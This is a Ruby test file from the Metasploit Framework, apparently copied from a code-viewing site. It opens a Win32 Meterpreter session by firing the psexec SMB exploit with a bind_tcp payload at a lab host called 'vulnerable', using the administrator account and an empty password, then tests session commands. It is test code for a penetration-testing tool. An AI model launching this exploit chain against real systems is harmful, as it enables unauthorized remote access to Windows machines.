Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/test/functional/meterpreter/meterpreter_win32_spec.rb
Views: 11623
$:.unshift(File.join(File.dirname(__FILE__)))1$:.unshift(File.join(File.dirname(__FILE__), '..', '..', 'lib'))2$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))3$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'test', 'lib'))45require 'fileutils'6require 'meterpreter_spec_helper'7require 'msf_matchers'8require 'meterpreter_specs'9require 'windows_meterpreter_specs'1011module MsfTest12describe "Win32Meterpreter" do13# Include Custom Matchers14include MsfTest::MsfMatchers1516# This include brings in all the spec helper methods17include MsfTest::MeterpreterSpecHelper1819# This include brings in all the specs that are generic across the20# meterpreter platforms21include MsfTest::MeterpreterSpecs2223# This include brings in all the specs that are specific to the24# windows meterpreter platforms25include MsfTest::WindowsMeterpreterSpecs2627before :all do28@verbose = true2930@meterpreter_type = "win32"3132## Set up an outupt directory33@output_directory = File.join(File.dirname(__FILE__), "test_output_#{@meterpreter_type}")3435if File.directory? @output_directory36FileUtils.rm_rf(@output_directory)37end3839Dir.mkdir(@output_directory)40@default_file = "#{@output_directory}/default"4142create_session_windows_x3243end4445before :each do46end4748after :each do49@session.init_ui(@input, @output)50end5152after :all do53## Clean up test output54FileUtils.rm_rf(@output_directory)5556## Screenshot command leaves .jpegs :(57## TODO - fix the meterpreter command to write to58## TODO - an arbitrary file.59Dir.new(File.dirname(__FILE__)).each do |file|60if file =~ /.jpeg/61File.delete(file)62end63end64end6566def create_session_windows_x3267## Setup for win3268@framework = Msf::Simple::Framework.create69@exploit_name = 'windows/smb/psexec'70@payload_name = 'windows/meterpreter/bind_tcp'71@input = Rex::Ui::Text::Input::Stdio.new72@output = Rex::Ui::Text::Output::File.new(@default_file)7374# Initialize the exploit instance75exploit = @framework.exploits.create(@exploit_name)7677## Fire it off against a known-vulnerable host78@session = exploit.exploit_simple(79'Options' => { 'RHOST' => "vulnerable", "SMBUser" => "administrator", "SMBPass" => "" },80'Payload' => @payload_name,81'LocalInput' => @input,82'LocalOutput' => @output83)8485## If a session came back, try to interact with it.86if @session87puts "got a session"88@session.load_stdapi89else90puts "unable to get session"91# flunk "Couldn't get a session!"92end93end94end95end969798